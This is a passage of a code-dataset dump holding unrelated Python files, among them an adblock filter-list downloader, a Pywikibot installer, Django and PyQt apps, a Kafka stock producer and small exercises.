MemoryInfo.UNITS[mult]:\n size = size / mult\n if size < mult:\n return '{0:.3f} {1}'.format(size, unit)\n\n def printMemory():\n import os\n import psutil\n process = psutil.Process(os.getpid())\n print(\"Mem \" + str(MemoryInfo.approximate_size(process.memory_info().rss))) # in bytes \n\nclass AdblockHelpers:\n block_lists = [\n r\"https://easylist.to/easylist/easylist.txt\",\n r\"https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/filters.txt\",\n r\"https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/privacy.txt\",\n r\"https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/badware.txt\",\n r\"https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/resource-abuse.txt\",\n r\"https://raw.githubusercontent.com/uBlockOrigin/uAssets/master/filters/unbreak.txt\",\n r\"https://filters.adtidy.org/extension/ublock/filters/2_without_easylist.txt\",\n r\"https://filters.adtidy.org/extension/ublock/filters/11.txt\",\n r\"https://filters.adtidy.org/extension/ublock/filters/3.txt\",\n r\"https://easylist.to/easylist/easyprivacy.txt\",\n r\"https://easylist-downloads.adblockplus.org/easyprivacy.txt\",\n r\"https://www.fanboy.co.nz/enhancedstats.txt\",\n r\"https://gitcdn.xyz/repo/NanoMeow/MDLMirror/master/hosts.txt\",\n\t\tr\"https://raw.githubusercontent.com/NanoMeow/MDLMirror/master/hosts.txt\",\n\t\tr\"https://www.malwaredomainlist.com/hostslist/hosts.txt\",\n\t\tr\"https://gitcdn.xyz/repo/NanoMeow/MDLMirror/master/filter.txt\",\n\t\tr\"https://raw.githubusercontent.com/NanoMeow/MDLMirror/master/filter.txt\",\n r\"https://mirror.cedia.org.ec/malwaredomains/justdomains\",\n\t\tr\"https://mirror1.malwaredomains.com/files/justdomains\",\n r\"https://raw.githubusercontent.com/Spam404/lists/master/adblock-list.txt\",\n r\"https://easylist.to/easylist/fanboy-annoyance.txt\",\n ];\n myFiles = []\n savePath = \"\"\n rules = None\n\n def downloadFile(url, savepath):\n print (url + \" -> \" + savepath)\n import urllib.request\n import shutil\n ...\n # Download the file from `url` and save it locally under `file_name`:\n req = urllib.request.Request(url,headers={'User-Agent': 'Mozilla/5.0'})\n with urllib.request.urlopen(req) as response, open(savepath, 'wb') as out_file:\n shutil.copyfileobj(response, out_file)\n\n def combine_lines(filelist, fileencoding='utf8'):\n for filename in filelist:\n with open(filename, encoding=fileencoding) as file:\n for line in file:\n yield line\n\n def updateLists(self,printMemory, shouldDownload):\n if shouldDownload:\n for i in range(0, len(self.block_lists)):\n splits = self.block_lists[i].rsplit('/',1);\n print (\"Downloads file: \" + self.block_lists[i])\n tmp_save_path = self.savePath + str(i) + \"_\" + splits[1];\n try:\n AdblockHelpers.downloadFile(self.block_lists[i],tmp_save_path);\n self.myFiles.append(tmp_save_path) \n except:\n print(\"Error downloading: \" + self.block_lists[i])\n else:\n import glob\n self.myFiles=glob.glob(self.savePath + \"\\\\*.*\")\n \n if printMemory:\n MemoryInfo.printMemory()\n\n from adblockparser import AdblockRules\n self.rules = AdblockRules(\n AdblockHelpers.combine_lines(self.myFiles),\n use_re2=False,\n max_mem=100*1024*1024 # 100mb\n #,supported_options=['script', 'domain', 'image', 'stylesheet', 'object']\n )\n \n if printMemory:\n MemoryInfo.printMemory()\n\n def __init__(self, savePath=\"adblock_filters/\", download=False, printMemory=True):\n self.savePath = savePath\n self.updateLists(printMemory,download)\n\n def should_block(self, url, options = {'third-party' : True} ):\n return self.rules.should_block(url,options=options);\n \n\n\n\n\n \n\n","sub_path":"MitmprxyPlugin/AdblockHelpers.py","file_name":"AdblockHelpers.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"271397064","text":"# -*- coding: utf-8 -*-\n\"\"\"\nInstaller script for Pywikibot 2.0 framework\n\"\"\"\n#\n# (C) Pywikibot team, 2009-2013\n#\n# Distributed under the terms of the MIT license.\n#\n__version__ = '$Id$'\n#\n\nimport sys\nimport os\n\nfrom ez_setup import use_setuptools\nuse_setuptools()\n\nfrom setuptools import setup, find_packages\nfrom setuptools.command import install\n\ntest_deps = []\ntestcollector = \"tests\"\n\nif sys.version_info[0] == 2:\n if sys.version_info[1] < 6:\n raise RuntimeError(\"ERROR: Pywikipediabot only runs under Python 2.6 or higher\")\n elif sys.version_info[1] == 6:\n test_deps = ['unittest2']\n testcollector = \"tests.utils.collector\"\n\nif sys.version_info[0] == 3:\n if not os.environ.get('PY3', False):\n # use setup.py test --python3ok to run tests\n print(\"ERROR: Pywikipediabot only runs under Python 2\")\n sys.exit(1)\n if sys.version_info[1] < 3:\n print(\"ERROR: Python 3.3 or higher is required!\")\n sys.exit(1)\n\n\nclass pwb_install(install.install):\n \"\"\"\n Setuptools' install command subclassed to automatically call\n `generate_user_files.py` after installing the package.\n \"\"\"\n def run(self):\n install.install.do_egg_install(self)\n\n if sys.stdin.isatty():\n import subprocess\n python = sys.executable\n python = python.replace(\"pythonw.exe\", \"python.exe\") # for Windows\n subprocess.call([python, \"generate_user_files.py\"])\n\nsetup(\n name='Pywikipediabot',\n version='2.0b1',\n description='Python Wikipedia Bot Framework',\n license='MIT License',\n packages=[package\n for package in find_packages()\n if package.startswith('pywikibot.')],\n install_requires=[\n 'httplib2>=0.6.0'\n ],\n dependency_links=[\n 'https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1'\n ],\n test_suite=testcollector,\n tests_require=test_deps,\n classifiers=[\n 'License :: OSI Approved :: MIT License',\n 'Development Status :: 4 - Beta'\n 'Operating System :: OS Independent',\n 'Intended Audience :: Developers',\n 'Environment :: Console',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7'\n ],\n cmdclass={\n 'install': pwb_install\n },\n use_2to3=False\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"131700842","text":"N=int(input())\nA=[int(i) for i in input().split()]\nans=True\n\nif sum(A)*2%(N*(N+1))!=0:\n\tans=False\nk=sum(A)*2/(N*(N+1))\n\n\nd=[A[i+1]-A[i]-k for i in range(N-1)]\nd.append(A[0]-A[N-1]-k)\nfor i in range(N):\n\tif d[i]>0 or d[i]%N!=0:\n\t\tans=False\nif ans:\n\tprint(\"YES\")\nelse:\n\tprint(\"NO\")\n\n\n","sub_path":"atcoder/agc/10/agc010.py","file_name":"agc010.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"108733560","text":"#!/usr/bin/python3\n\n# \n# Problem 3\n# \n# Write a function that computes the list of the first 100 Fibonacci numbers. By definition,\n# the first two numbers in the Fibonacci sequence are 0 and 1, and each subsequent number is\n# the sum of the previous two. As an example, here are the first 10 Fibonnaci numbers:\n# 0, 1, 1, 2, 3, 5, 8, 13, 21, and 34.\n\n\n# function that computes the list of the first 100 Fibonacci numbers. \ndef fibonacci100():\n numbers = [0] * 100;\n numbers[0] = 0\n numbers[1] = 1\n for i in range(2, 100):\n numbers[i] = numbers[i - 1] + numbers[i - 2];\n return numbers;\n\nprint(fibonacci100());\n","sub_path":"the-5-probs/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"220298544","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.forms import ModelForm, Textarea\nfrom django.forms.widgets import RadioSelect\n\nfrom .models import Contact\n\nclass ContactForm(ModelForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n\n class Meta:\n model = Contact\n fields = ['email', 'budget', 'text', 'subscribe', 'callback']\n widgets = {\n 'text': Textarea(attrs={'cols': 40, 'rows': 5}),\n }\n\n def save(self, subscribe=None, callback=None, commit=True):\n instance = super().save(commit=False)\n if subscribe is None or subscribe == 'no':\n instance.subscribe = False\n if callback:\n instance.callback = True\n if commit:\n instance.save()\n return instance","sub_path":"land/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"525331413","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.views.generic import DetailView, ListView\nfrom dfirtrack_main.forms import TagForm\nfrom dfirtrack_main.logger.default_logger import debug_logger\nfrom dfirtrack_main.models import Tag\n\nclass Tags(LoginRequiredMixin, ListView):\n login_url = '/login'\n model = Tag\n template_name = 'dfirtrack_main/tag/tags_list.html'\n def get_queryset(self):\n debug_logger(str(self.request.user), \" TAG_ENTERED\")\n return Tag.objects.order_by('tag_name')\n\nclass TagsDetail(LoginRequiredMixin, DetailView):\n login_url = '/login'\n model = Tag\n template_name = 'dfirtrack_main/tag/tags_detail.html'\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n tag = self.object\n tag.logger(str(self.request.user), \" TAGDETAIL_ENTERED\")\n return context\n\n@login_required(login_url=\"/login\")\ndef tags_add(request):\n if request.method == 'POST':\n form = TagForm(request.POST)\n if form.is_valid():\n tag = form.save(commit=False)\n tag.tag_modified_by_user_id = request.user\n tag.save()\n tag.logger(str(request.user), \" TAG_ADD_EXECUTED\")\n messages.success(request, 'Tag added')\n return redirect('/tags')\n else:\n form = TagForm()\n debug_logger(str(request.user), \" TAG_ADD_ENTERED\")\n return render(request, 'dfirtrack_main/tag/tags_add.html', {'form': form})\n\n@login_required(login_url=\"/login\")\ndef tags_delete(request, pk, template_name='dfirtrack_main/tag/tags_delete.html'):\n tag = get_object_or_404(Tag, pk=pk)\n if request.method == 'POST':\n tag.logger(str(request.user), \" TAG_DELETE_EXECUTED\")\n tag.delete()\n messages.success(request, 'Tag deleted')\n return redirect('/tags')\n return render(request, template_name, {'tag': tag})\n\n@login_required(login_url=\"/login\")\ndef tags_edit(request, pk):\n tag = get_object_or_404(Tag, pk=pk)\n if request.method == 'POST':\n form = TagForm(request.POST, instance=tag)\n if form.is_valid():\n tag = form.save(commit=False)\n tag.tag_modified_by_user_id = request.user\n tag.save()\n tag.logger(str(request.user), \" TAG_EDIT_EXECUTED\")\n messages.success(request, 'Tag edited')\n return redirect('/tags')\n else:\n form = TagForm(instance=tag)\n tag.logger(str(request.user), \" TAG_EDIT_ENTERED\")\n return render(request, 'dfirtrack_main/tag/tags_edit.html', {'form': form})\n","sub_path":"dfirtrack_main/views/tags_views.py","file_name":"tags_views.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"205927496","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom DismissionData import DismissionRateSummary\nfrom Base import BaseExcelWriter\nfrom DismissionData import write_value\n\nc = DismissionRateSummary('201603区域离职数据.xlsx')\n#序列\ncompanySequence = c.unduplicate_sequence()\n\n#需要写入的数据,格式--序列:[0,0,0,0,0]\n#五位数字分别为:新员工离职人数,老员工离职人数,主动离职人数,淘汰人数,辞退人数\ndict_sequence = c.calc_each_sheet()\n\nt = BaseExcelWriter()\nt.add_sheet_name(u'离职率汇总情况')\nt.write_sheet_companySequence(companySequence,need_encode=False)\nwrite_value(companySequence,dict_sequence,t,B=u'新员工离职人数',C=u'老员工离职人数',D=u'主动离职人数',E=u'淘汰人数',F=u'辞退人数')\n\nt.save_file('test_dismission_data.xls')","sub_path":"WriteDismissionData.py","file_name":"WriteDismissionData.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149371875","text":"from alpha_vantage.timeseries import TimeSeries\r\nfrom kafka import KafkaProducer\r\nimport time\r\nfrom json import dumps\r\nfrom key import api_key\r\n\r\napi_key = api_key\r\nprint(\"Kafka Producer Application Started ... \")\r\nkafka_producer_obj = KafkaProducer(bootstrap_servers='localhost:9092',\r\n value_serializer=lambda x: dumps(x).encode('utf-8'))\r\ndef processData(ticker):\r\n ts = TimeSeries(key=api_key, output_format='pandas')\r\n intraData, meta_data=ts.get_intraday(symbol=ticker,interval='5min', outputsize='compact')\r\n #Remove enumeration from col names\r\n for column in intraData.columns:\r\n intraData.rename({column: column.split('. ')[1]}, axis=1, inplace=True)\r\n return intraData\r\n\r\ndata = processData('IBM')\r\n\r\nfor ind in data.index:\r\n stock = {}\r\n # stock['date'] = data['date'][ind]\r\n stock['date'] = str(ind)\r\n stock['open'] = data['open'][ind]\r\n stock['high'] = data['high'][ind]\r\n stock['low'] = data['low'][ind]\r\n stock['close'] = data['close'][ind]\r\n stock['volume'] = data['volume'][ind]\r\n print(\"stock to be sent: \", stock)\r\n kafka_producer_obj.send(\"capstone3\", stock)\r\n kafka_producer_obj.flush()\r\n time.sleep(1)\r\n","sub_path":"producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"338334453","text":"# import requests\nimport re\n# import codecs\nfrom bs4 import BeautifulSoup\n# https://www.crummy.com/software/BeautifulSoup/bs4/doc/\n# url = 'https://www.amazon.com/dp/B01CV9G1BO'\n# r = requests.get(url)\n#txtFile = open(\"amz.txt.\", \"r\")\n# txtFile = codecs.open('amz.txt', encoding='utf-8')\nsoup = BeautifulSoup(open('amz.html'), 'html.parser')\nregex = r\"#\\d\"\nfor tag in soup.find_all('td'):\n tagContent = tag.text\n if bool(re.search(regex, tagContent)):\n print(tagContent)\n","sub_path":"amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"165399970","text":"import sys\nimport os\nimport imp\n\nclass PyPlugin:\n\n def __init__(self, pluginPath = None):\n \n self._actions = ['pyplugin']\n self._objects = [self]\n self._ignoredFiles = ['__init__.py', '.DS_Store', 'desktop.ini']\n \n if pluginPath == None:\n currPath = os.path.dirname(os.path.abspath(__file__))\n self._pluginPath = os.path.join(currPath,'plugins')\n else:\n self._pluginPath = pluginPath\n \n \n initFile = os.path.join(self._pluginPath,'__init__.py')\n \n if os.path.exists(self._pluginPath):\n self.importPlugins()\n else:\n os.mkdir(self._pluginPath)\n \n if not os.path.exists(initFile):\n open(initFile,'wb').close()\n \n def importPlugins(self):\n\n for file in os.listdir(self._pluginPath):\n if file not in self._ignoredFiles and '.pyc' not in file:\n self.importPlugin(os.path.join(self._pluginPath, file))\n \n def importPlugin(self, pluginFile):\n \n pluginName = os.path.splitext(os.path.basename(pluginFile))[0]\n \n f, path, desc = imp.find_module(pluginName, [self._pluginPath])\n \n plugin = imp.load_module(pluginName, f, path, desc)\n \n try:\n pluginAction = getattr(sys.modules[pluginName], 'action')\n pluginObject = getattr(sys.modules[pluginName], pluginName)\n except AttributeError:\n return\n \n self._actions.append(pluginAction)\n self._objects.append(pluginObject)\n \n def getActions(self):\n return self._actions\n \n def getObjects(self):\n return self._objects\n \n def getActionsAndObjects(self):\n return zip(self._actions, self._objects)\n \n def sendInput(self, data):\n if data == 'reloadPlugins':\n self.importPlugins()\n \n return 'Reloaded plugins!'\n","sub_path":"PyPlugin.py","file_name":"PyPlugin.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"194659422","text":"'''\n 快速排序算法实现 ,\n 选取中轴,左边的都比他小,右边的都比他-大,一次递归\n'''\nimport random\nimport time\nimport sys\nimport io\nprint(sys.stdout)\n#if sys.stdout.encoding != \"UTF-8\":\n# sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding=\"UTF-8\")\n# print(\"=====修改标准输出的编码========\")\nprint(sys.stdout.encoding)\ndef quickerSort(list,low,high):\n\n if(low < high):\n mid = partition(list, low, high)\n quickerSort(list, low, mid - 1)\n quickerSort(list, mid + 1, high)\n\n\n\ndef partition(list,low,high):\n\n # 选取第一个元素作为中轴\n midVal = list[low]\n while low < high :\n #判断右边元素是否比中轴小,如果将该元素放到中轴左边\n while low list[low]:\n low = low + 1\n\n if low < high:\n list[high] = list[low]\n high = high - 1\n\n #循环一轮,空缺的位置则为中轴的位置\n list[low] = midVal\n\n return low\n\ndef main(nums):\n print(\"nums:{0}\".format(nums))\n list = []\n for i in range(0, int(nums)):\n list.append(random.randint(0, 100000))\n start = time.time()\n quickerSort(list,0,len(list) - 1)\n end = time.time()\n print(\"排序的时间为:{0}\".format((end-start)))\n return \"score:90\"\n\nif __name__ == '__main__':\n argv = 100\n if len(sys.argv) == 2:\n argv = sys.argv[1]\n print(main(argv))\n\n\n\n\n","sub_path":"quickSort.py","file_name":"quickSort.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"434137436","text":"import requests\nfrom requests_toolbelt import MultipartEncoder\nfrom urllib.parse import urljoin\n\n\nclass Asset():\n def __init__(self, name, content, content_type, content_size):\n self.name = name\n self.content = content\n self.content_type = content_type\n self.content_size = content_size\n\n def upload(self, container):\n resp = container.send_action(\n 'asset:put',\n {\n 'filename': self.name,\n 'content-type': self.content_type,\n 'content-size': self.content_size,\n }\n )\n\n if ('result' in resp) and ('post-request' in resp['result']):\n post_request = resp['result']['post-request']\n\n post_url = self._build_post_url(post_request, container)\n multipart_encoder = self._build_multipart_encoder(\n post_request, container)\n\n headers = {\n 'Content-Type': multipart_encoder.content_type,\n 'X-Skygear-API-Key': container.api_key\n }\n\n post_resp = requests.post(\n post_url,\n headers=headers,\n data=multipart_encoder)\n\n if post_resp.ok:\n return resp['result']['asset']['$name']\n\n return None\n\n def _build_post_url(self, post_request, container):\n post_url = post_request['action']\n\n if post_url[0] == '/':\n post_url = post_url[1:]\n\n if not post_url.startswith('http'):\n post_url = urljoin(container.endpoint, post_url)\n\n return post_url\n\n def _build_multipart_encoder(self, post_request, container):\n fields = []\n\n if 'extra-fields' in post_request:\n for key, value in post_request['extra-fields'].items():\n fields.append((key, value))\n\n fields.append(('file', ('blob', self.content, self.content_type)))\n\n return MultipartEncoder(fields)\n\n\ndef build_image_asset_from_url(url, filename):\n content = requests.get(url).content\n return Asset(\n filename,\n content,\n 'image/jpeg',\n len(content),\n )\n","sub_path":"plugin/utils/skygear_assets.py","file_name":"skygear_assets.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294119934","text":"from __future__ import print_function, division, absolute_import\n\nfrom collections import defaultdict\nimport logging\nimport os\nimport sys\n\nfrom numba import sigutils\nfrom .compiler import ModuleCompiler, ExportEntry\nfrom .platform import Toolchain\n\n\nclass CC(object):\n\n def __init__(self, basename, source_module=None):\n if '.' in basename:\n raise ValueError(\"basename should be a simple module name, not \"\n \"qualified name\")\n\n self._basename = basename\n self._exported_functions = {}\n # Resolve source module name and directory\n f = sys._getframe(1)\n if source_module is None:\n dct = f.f_globals\n source_module = dct['__name__']\n elif hasattr(source_module, '__name__'):\n dct = source_module.__dict__\n source_module = source_module.__name__\n else:\n dct = sys.modules[source_module].__dict__\n source_dir = os.path.dirname(dct.get('__file__', ''))\n\n self._source_module = source_module\n self._toolchain = Toolchain()\n self._debug = False\n # By default, output in directory of caller module\n self._output_dir = source_dir\n self._output_file = self._toolchain.get_ext_filename(basename)\n\n @property\n def name(self):\n return self._basename\n\n @property\n def output_file(self):\n return self._output_file\n\n @output_file.setter\n def output_file(self, value):\n self._output_file = value\n\n @property\n def output_dir(self):\n return self._output_dir\n\n @output_dir.setter\n def output_dir(self, value):\n self._output_dir = value\n\n @property\n def debug(self):\n return self._debug\n\n @debug.setter\n def debug(self, value):\n self._debug = value\n self._toolchain.debug = value\n\n def export(self, exported_name, sig):\n sig = sigutils.parse_signature(sig)\n if exported_name in self._exported_functions:\n raise KeyError(\"duplicated export symbol %s\" % (exported_name))\n\n def decorator(func):\n entry = ExportEntry(exported_name, sig, func)\n self._exported_functions[exported_name] = entry\n return func\n\n return decorator\n\n @property\n def _export_entries(self):\n return sorted(self._exported_functions.values(),\n key=lambda entry: entry.symbol)\n\n def compile(self):\n compiler = ModuleCompiler(self._export_entries, self._basename)\n # First compile object file\n temp_obj = os.path.join(self._output_dir,\n os.path.splitext(self._output_file)[0] + '.o')\n output_obj = os.path.join(self._output_dir, self._output_file)\n compiler.write_native_object(temp_obj, wrap=True)\n\n # Then create shared library\n libraries = self._toolchain.get_python_libraries()\n library_dirs = self._toolchain.get_python_library_dirs()\n self._toolchain.link_shared(output_obj, [temp_obj],\n libraries, library_dirs,\n export_symbols=compiler.dll_exports)\n os.remove(temp_obj)\n","sub_path":"numba/pycc/cc.py","file_name":"cc.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"62565347","text":"#!/usr/bin/python3\nimport sys\nimport pandas as pd\nimport numpy as np\nfrom PyQt5.QtWidgets import * \nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom LogisticRegression import logic\n\n\nclass combodemo(QWidget):\n def __init__(self, parent = None):\n super(combodemo, self).__init__(parent)\n self.model_ = logic()\n self.layout = QHBoxLayout()\n self.data_to_inference = []\n inference_data_names = ['previous', 'euribor3m', 'job_blue-collar', 'job_retired','job_services', 'job_student', 'default_no', 'month_aug', 'month_dec', 'month_jul', 'month_nov', 'month_oct', 'month_sep', 'day_of_week_fri', 'day_of_week_wed', 'poutcome_failure', 'poutcome_nonexistent', 'poutcome_success']\n cat_vars=['job','marital','education','default','housing','loan','contact','month','day_of_week','poutcome']\n inference_data_values = list(self.model_.getDataSampleValue().values)\n inference_data_values = list(inference_data_values[0])\n # print(\"************************* inference_data_values: \", inference_data_values) user_submission_field = inference_data_names[:] # copy not reference # info RFE\n self.textboxData = QLabel(self)\n self.textboxData.move(100, 40 * 2)\n self.textboxData.resize(400,40)\n self.textboxData.setText(\"After The Recursive Feature Elimination\")\n self.layout.addWidget(self.textboxData)\n self.textboxSubmitList = []\n\n for inference_data_names_item in inference_data_names:\n self.textboxData = QLabel(self)\n self.textboxData.move(100, 40 * (3 + inference_data_names.index(inference_data_names_item)))\n self.textboxData.resize(200,40)\n self.textboxData.setText(inference_data_names_item)\n self.layout.addWidget(self.textboxData)\n \n draw_index = 3\n for inference_data_values_item in inference_data_values:\n self.textboxSubmit = QLineEdit(self)\n self.textboxSubmit.move(350, 40 * draw_index)\n self.textboxSubmit.resize(130,40)\n self.textboxSubmit.setText(str(inference_data_values_item))\n self.textboxSubmitList.append(self.textboxSubmit.text())\n self.layout.addWidget(self.textboxSubmit)\n draw_index += 1\n # print(inference_data_values_item)\n\n # -------------------------- info ekamut\n self.textboxData = QLabel(self)\n self.textboxData.move(550, 40 * 1)\n self.textboxData.setText(\"եկամուտ\")\n self.layout.addWidget(self.textboxData)\n self.textboxSubmitList = []\n\n # ------------------------- ekamut widget number 38\n self.textboxSubmit = QLineEdit(self)\n self.textboxSubmit.move(550, 40 * 2)\n self.textboxSubmit.resize(100,40)\n self.textboxSubmit.setText(str(200000))\n self.textboxSubmitList.append(self.textboxSubmit.text())\n self.layout.addWidget(self.textboxSubmit)\n # print(\"38:\", self.access_widget(38).text())\n\n # -------------------------- info percentage widget number 40\n self.textboxData = QLabel(self)\n self.textboxData.move(700, 40 * 1)\n self.textboxData.resize(200,40)\n self.textboxData.setText(\"տոկոսադրույք\")\n self.layout.addWidget(self.textboxData)\n self.textboxSubmitList = []\n\n # percentage lineEdit \n self.textboxSubmit = QLineEdit(self)\n self.textboxSubmit.move(700, 40 * 2)\n self.textboxSubmit.resize(50,40)\n self.textboxSubmit.setText(str(20))\n self.textboxSubmitList.append(self.textboxSubmit.text())\n self.layout.addWidget(self.textboxSubmit)\n\n # -------------------------- months\n self.textboxData = QLabel(self)\n self.textboxData.move(900, 40 * 1)\n self.textboxData.resize(200,40)\n self.textboxData.setText(\"տևողություն(ամիս)\")\n self.layout.addWidget(self.textboxData)\n self.textboxSubmitList = []\n\n # months lineEdit \n self.textboxSubmit = QLineEdit(self)\n self.textboxSubmit.move(900, 40 * 2)\n self.textboxSubmit.resize(50,40)\n self.textboxSubmit.setText(str(5))\n self.textboxSubmitList.append(self.textboxSubmit.text())\n self.layout.addWidget(self.textboxSubmit)\n\n # renta_after_months\n self.rentaLabel= QLabel(self)\n self.rentaLabel.move(1200, 40 * 1)\n self.rentaLabel.resize(200,40)\n self.rentaLabel.setText(\"մնացորդային գումար\")\n self.layout.addWidget(self.rentaLabel)\n self.textboxSubmitList = []\n\n # percentage lineEdit \n self.rentaLineEdit= QLineEdit(self)\n self.rentaLineEdit.move(1200, 40 * 2)\n self.rentaLineEdit.resize(200,40)\n self.rentaLineEdit.setText(str(0))\n self.textboxSubmitList.append(self.rentaLineEdit.text())\n self.layout.addWidget(self.rentaLineEdit)\n\n # table label\n self.rentaLabel= QLabel(self)\n self.rentaLabel.move(600, 320)\n self.rentaLabel.resize(200,40)\n self.rentaLabel.setText(\"Ամսեկան պլան\")\n self.layout.addWidget(self.rentaLabel)\n self.textboxSubmitList = []\n\n # table\n self.tableWidget = QTableWidget(self)\n self.tableWidget.setHorizontalHeaderLabels(['ամիս', 'գումար'])\n self.tableWidget.setRowCount(int(self.access_widget(42).text()))\n self.tableWidget.setColumnCount(1)\n self.tableWidget.setColumnWidth(0, 500)\n self.tableWidget.move(600, 350)\n self.tableWidget.resize(100, int(self.access_widget(42).text()) * 50)\n\n # buttons\n self.buttonTrain = QPushButton('Train', self)\n self.buttonTrain.move(200, 900)\n self.buttonTrain.resize(200,50)\n self.buttonTrain.clicked.connect(self.handleButtonTrain)\n \n self.buttonInference = QPushButton('Inference', self)\n self.buttonInference.move(400, 900)\n self.buttonInference.resize(200,50)\n self.buttonInference.clicked.connect(self.handleButtonInference)\n\n self.buttonInference = QPushButton('update_renta', self)\n self.buttonInference.move(600, 200)\n self.buttonInference.resize(200,50)\n self.buttonInference.clicked.connect(self.handleRentaUpdate)\n # self.layout.addWidget(self.buttonTrain)\n # self.layout.addWidget(self.buttonInference)\n\n # ---------------------------- վարկի տեսակներ\n loan_names = [\"գյուղատնտեսական\", \"առևտրային\", \"ավտովարկ\", \"ուսումնական\", \"լոմբարդային\", \"հիփոթեքային\" ]\n self.formLayout= QFormLayout(self)\n self.cb = QComboBox(self)\n self.cb.currentIndexChanged.connect(self.selectionchange)\n self.cb.addItems(loan_names)\n self.cb.move(500, 500)\n self.cb.setFixedSize(300, 35)\n\n\n\n # print(\"width: \", width)\n # self.cb.setMinimumWidth(width);\n # ----------------------------\n\n self.showMaximized() # fullscreen\n # self.textFeild = QTextEdit(parent)\n # # self.textFeild.setReadOnly(True)\n # self.textFeild.setLineWrapMode(QTextEdit.NoWrap)\n # self.textFeild.insertPlainText(\"hello from the other sideee\")\n\n # self.layout.addWidget(self.textFeild)\n # self.layout.addWidget(self.textbox)\n self.formLayout.addRow(self.cb)\n # self.setLayout(self.layout)\n self.setLayout(self.formLayout)\n self.setWindowTitle(\"demo\")\n\n def selectionchange(self,i):\n print(\"Items in the list are :\")\n for count in range(self.cb.count()):\n print(self.cb.itemText(count))\n print(\"Current index\",i,\"selection changed \",self.cb.currentText())\n if i == 0:\n self.change_widget_value(40, 10) # գյուղատնտեսական percentage\n elif i == 1:\n self.change_widget_value(40, 20) # առևտրային percentage\n elif i == 2:\n self.change_widget_value(40, 17) # ավտովարկ percentage\n elif i == 3:\n self.change_widget_value(40, 12) # ուսումնական percentage\n elif i == 4:\n self.change_widget_value(40, 30) # լոմբարդային percentage\n elif i == 5:\n self.change_widget_value(40, 24) # հիփոթեքային percentage\n\n def access_widget(self, i): # accessing each QLineWidget\n item = self.layout.itemAt(i)\n line_edit = item.widget()\n return line_edit\n\n def change_widget_value(self, i, value): # accessing each QLineWidget\n item = self.layout.itemAt(i)\n line_edit = item.widget()\n line_edit.setText(str(value))\n\n def handleButtonTrain(self):\n self.model_.train()\n print(\"successfully trained\")\n\n def renta_after_month_pass(self, income, percentage, month): # how much will overall dept be after \"time\" months\n percentage /= 100\n back = income * (1 + percentage)**month\n for i in range(1, month + 1): # in years\n # table value update\n back -= income * percentage*i\n self.tableWidget.setItem(i - 1, 0, QTableWidgetItem(str(int(back))))\n return int(back)\n\n def handleRentaUpdate(self):\n income = int(self.access_widget(38).text())\n percentage = int(self.access_widget(40).text())\n months = int(self.access_widget(42).text())\n self.rentaLineEdit.setText(str(self.renta_after_month_pass(income, percentage, months)))\n\n # table size update\n self.tableWidget.setRowCount(int(self.access_widget(42).text()))\n self.tableWidget.resize(100, int(self.access_widget(42).text()) * 50)\n\n def handleButtonInference(self):\n\n # get inferece data from QLineEdit\n self.data_to_inference = []\n for i in range(19, 37):\n self.data_to_inference.append(float(self.access_widget(i).text())) \n\n # changin data into a good shape for inference\n inference_array = np.array(self.data_to_inference)\n inference_array = inference_array.reshape(1, -1)\n self.model_.setTestData(inference_array) # or for sample data use np_array(self.model_.getDataSampleValue())\n # get the result\n result = self.model_.inference()\n # check result\n if (result[0][0] > 0.5):\n self.messageBox = QMessageBox.information(self, 'inference pass', \"give \" + str(result[0][0]), QMessageBox.Ok)\n self.layout.addWidget(self.messageBox)\n 